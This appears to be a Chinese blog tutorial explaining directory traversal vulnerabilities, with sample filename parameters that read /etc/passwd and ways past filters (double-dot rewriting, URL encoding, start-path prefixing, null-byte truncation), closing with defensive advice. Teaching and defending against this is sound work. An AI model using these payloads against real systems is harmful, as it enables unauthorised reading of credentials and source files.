目录穿越及其绕过

介绍

利用某种操作从当前目录穿越到其他任意目录并读取其中的文件的漏洞
这些文件包括源码,数据,登录凭证等敏感信息之类的

目录穿越读取任意文件

(相对路径)
原本参数为
?filename=37.jpg

猜测图片的绝对路径为
/var/www/images/37.jpg

修改参数为
…/…/…/etc/passwd

原因

对路径过滤的不严格导致的

绕过

1、禁用返回上级目录符?

使用绝对路径(例如filename=/etc/passwd)来直接引用文件,绕过

2、单次过滤 …/ ?

重写即可绕过

修改filename参数,赋予其值:…//…//…//etc/passwd

…//…//…//etc/passwd
…/…/…/etc/passwd

3、正则匹配斜杠并且清除?

使用各种url编码(例如…%c0%af或…%252f)来绕过

修改filename参数,赋予它值…%252f…%252f…%252fetc/passwd

4、起始路径匹配?

利用起始路径+相对路径结合绕过

?filename=/var/www/images/37.jpg
修改filename参数,赋予它值为 /var/www/images/…/…/…/etc/passwd

5、后缀还要检测?

空字节绕过(%00截断)

修改filename参数,赋予它值为 …/…/…/etc/passwd%00.png

如何防止目录穿越漏洞?

上面所有的绕过情况都是对路径过滤的不严格导致的,所以可以采取以下两种方法来缓解这个漏洞
1、设置白名单,验证用户输入
2、路径结构规范化

最有效方法是完全避免将用户提供的输入传递给文件系统 API


版权声明:本文为weixin_45752509原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。